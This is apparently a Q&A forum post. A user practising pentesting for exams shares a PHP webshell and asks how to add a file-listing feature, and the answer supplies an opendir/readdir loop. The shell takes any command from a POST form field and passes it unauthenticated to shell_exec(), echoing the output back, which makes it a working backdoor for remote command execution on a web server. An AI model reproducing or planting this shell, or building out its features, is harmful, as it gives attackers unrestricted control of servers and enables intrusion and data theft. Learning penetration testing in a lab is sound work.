veiw files in the directory using php?

i am making a fun little php webshell since i am pentesting for my exams and i have been stuck on a feature i want to add so it lets me see all of the files in the current directory. i have been stuck for quite a while here is the current code. EDIT:i want it to show all files in the webserver

    <?php
    /* Start base Design */
    echo "<body style='background-color:black'>";
    echo "<font color='white'>";
    $name = "
    
  ,-.       _,---._ __  / \
 /  )    .-'       `./ /   \
(  (   ,'            `/    /|
 \  `-"             \'\   / |
  `.              ,  \ \ /  |
   /`.          ,'-`----Y   |
  (            ;        |   '
  |  ,-.    ,-'         |  /
  |  | (   |        hjw | /
  )  |  \  `.___________|/
  `--'   `--'
 
    ";
    echo "<pre>";
    echo $name;
    echo "</pre>";
    /* END base Design */
    
    /* Start Base functions and code */
    if(isset($_POST['cmd']))
    {
    
        $cmd = $_POST['cmd'];
    
        $result = shell_exec($cmd);
    
        echo "<pre>".$result."</pre>";
    
    }
    
    ?>
    
    <form method="post">
    
      <p>
          ServerInput~! <input type="text" name="cmd"/>
    
      </p>
    
      <input type="submit" value="Execute"/>
    
    </form>
    <script>
    window.scrollTo(0,document.body.scrollHeight);
    </script>
    <?
    /* show file directory's */

I hope i can get a answer thank you! :)

Answer

Solution:

Not sure if this is what you mean but this should output all the files in a given directory.

<?php
$directory = "YOUR_DIR/";

if (is_dir($directory)){
  if ($od = opendir($directory)){
    while (($file = readdir($od)) !== false){
      echo "filename:" . $file . "<br>";
    }
    closedir($od);
  }
}
?>

Source